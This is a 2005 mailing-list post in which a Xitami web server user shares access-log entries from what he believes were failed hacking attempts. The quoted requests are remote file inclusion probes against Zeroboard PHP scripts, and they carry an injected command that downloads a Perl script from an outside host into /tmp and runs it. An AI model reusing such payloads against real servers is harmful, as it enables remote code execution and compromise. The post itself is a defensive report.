[Xitami] Hacking attempt
Ron Ackerman
xitami@lists.xitami.org
Tue, 8 Mar 2005 16:09:40 -0500
Hi Guys,
I think that I have had some hacking attempts but fortunatly NOT successful.
Here is the log entry
210.17.189.156 - - [08/Mar/2005:09:25:15 -0500] "GET
/zboard/include/write.php?dir=http://www.freewebs.com/defacements/cmd?&cmd=c
d%20/tmp;wget%20xhack.150m.com/https;perl%20https;pwd HTTP/1.1" 404 -1 ""
"Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
210.17.189.156 - - [08/Mar/2005:09:25:16 -0500] "GET
/bbs/skin/zero_vote/error.php?dir=http://www.derf.hpgvip.ig.com.br/newcmd.gi
f?&cmd=cd%20/tmp;wget%20xhack.150m.com/https;perl%20https;pwd HTTP/1.1"
404 -1 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
210.17.189.156 - - [08/Mar/2005:09:25:17 -0500] "GET
/board/skin/zero_vote/error.php?dir=http://www.derf.hpgvip.ig.com.br/newcmd.
gif?&cmd=cd%20/tmp;wget%20xhack.150m.com/https;perl%20https;pwd HTTP/1.1"
404 -1 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
210.17.189.156 - - [08/Mar/2005:09:25:17 -0500] "GET
/zboard/skin/zero_vote/error.php?dir=http://www.derf.hpgvip.ig.com.br/newcmd
.gif?&cmd=cd%20/tmp;wget%20xhack.150m.com/https;perl%20https;pwd HTTP/1.1"
404 -1 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
210.17.189.156 - - [08/Mar/2005:09:25:18 -0500] "GET
/zeroboard/skin/zero_vote/error.php?dir=http://www.derf.hpgvip.ig.com.br/new
cmd.gif?&cmd=cd%20/tmp;wget%20xhack.150m.com/https;perl%20https;pwd
HTTP/1.1" 404 -1 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
1
--
No virus found in this outgoing message.
Checked by AVG Anti-Virus.
Version: 7.0.308 / Virus Database: 266.6.2 - Release Date: 03/04/2005